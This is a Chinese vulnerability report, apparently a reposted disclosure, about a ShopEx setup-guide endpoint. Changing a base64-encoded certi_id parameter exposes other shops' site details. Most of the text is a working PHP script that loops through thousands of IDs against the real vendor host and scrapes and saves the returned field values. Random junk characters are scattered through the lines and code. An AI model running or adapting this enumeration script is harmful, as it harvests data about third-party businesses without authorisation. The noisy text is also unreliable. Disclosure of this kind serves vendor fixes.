ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
$ ^7 L! K* Y& v, x& |: cShopEx某接口缺陷,可遍历所有网站
详细说明：
& ?. {' i" g4 m# z. m问题出现在shopex 网店使用向导页面
% c7 t& t: ~5 X( r6 w/ b
+ t, B# g* X8 F) G

# l5 L2 Z+ t# o( R, Chttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
# \5 B/ H3 j8 `
+ i* a6 t6 ^4 s2 g, O% u% X  V; u3 P
  b; P# t- A9 H. I
7 c. g' j( x8 j' ~refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
/ ^# k; z; X! G9 W; d


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



<?php

                for ($i=1; $i < 10000; $i++) { //遍历
9 K; q. f8 I7 u! C; q3 d
                        ShowshopExD($i);

' [! X5 m% d: I" \. ~) R  n4 i9 }                }

                function ShowshopExD($cid) {
1 `0 Y. v$ W0 S3 \) [
                $url='http://guide.ecos.shopex.cn/step2.php';
: w5 E- G: j/ D7 @
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

2 l: E9 P# r$ B# o2 v        $url = $url.'?refer='.$refer;

5 [+ h7 x+ C" _: s7 B' k        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
" {- x8 e% O, w- J8 w
3 l, p6 f3 S" U/ U        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
4 ]7 X- h1 u5 M. X+ U0 Z4 R2 v; t
% n/ l. j' |) H. P; X* z. |5 d        $result = curl_exec($ch);
  ?) \) R" }9 ~. X6 m
/ J* n. z1 _1 k) P/ }" W$ G        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
  D' d) D8 p& {4 W/ p
        if(strpos($result,$refer))

        {
. Z4 z# l. D& I
- |# A$ u' y& T7 j4 H" c  C                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
7 |$ e7 \# t4 E9 D6 v9 }
- G( b3 G1 }4 N9 {& s                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
: {' R0 w  O; S! {1 z& C1 E8 `* y+ Z
+ @9 n+ N- \+ S" A! i; y3 ]' s                foreach ($value[1] as $key) {
2 L. n7 M9 R, @6 v2 T
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

1 y2 B* N' b8 R3 j                        echo $res[1][0].':'.$res[3][0]."\r\n";
& ]8 @, X' W/ U7 l% A
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

0 ~# `/ x( o! b' l6 Y4 X9 [2 k# j                        fwrite($fp, $col, strlen($col));
- n7 i$ f6 K% h# T$ h% Q$ g
                }

                echo '--------------------------------'."\r\n";
$ l$ h  ~: v7 N; f7 d. H& q
                fclose($fp);
. h+ q- N0 r1 \: A" G3 M4 d. E0 l
$ g; a" A4 O( n8 ~5 w. _        }
8 F% b/ ^7 v& O, J  X2 O
8 Z; B% B3 L7 Z: E& P        flush();

8 h( O& o) w" Q  L        curl_close($ch);
  P1 ?6 R; d( x) n  \( c, h
                }
4 x/ b$ ]* ~' [9 F
& h, Z1 d% `6 b0 h. [?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式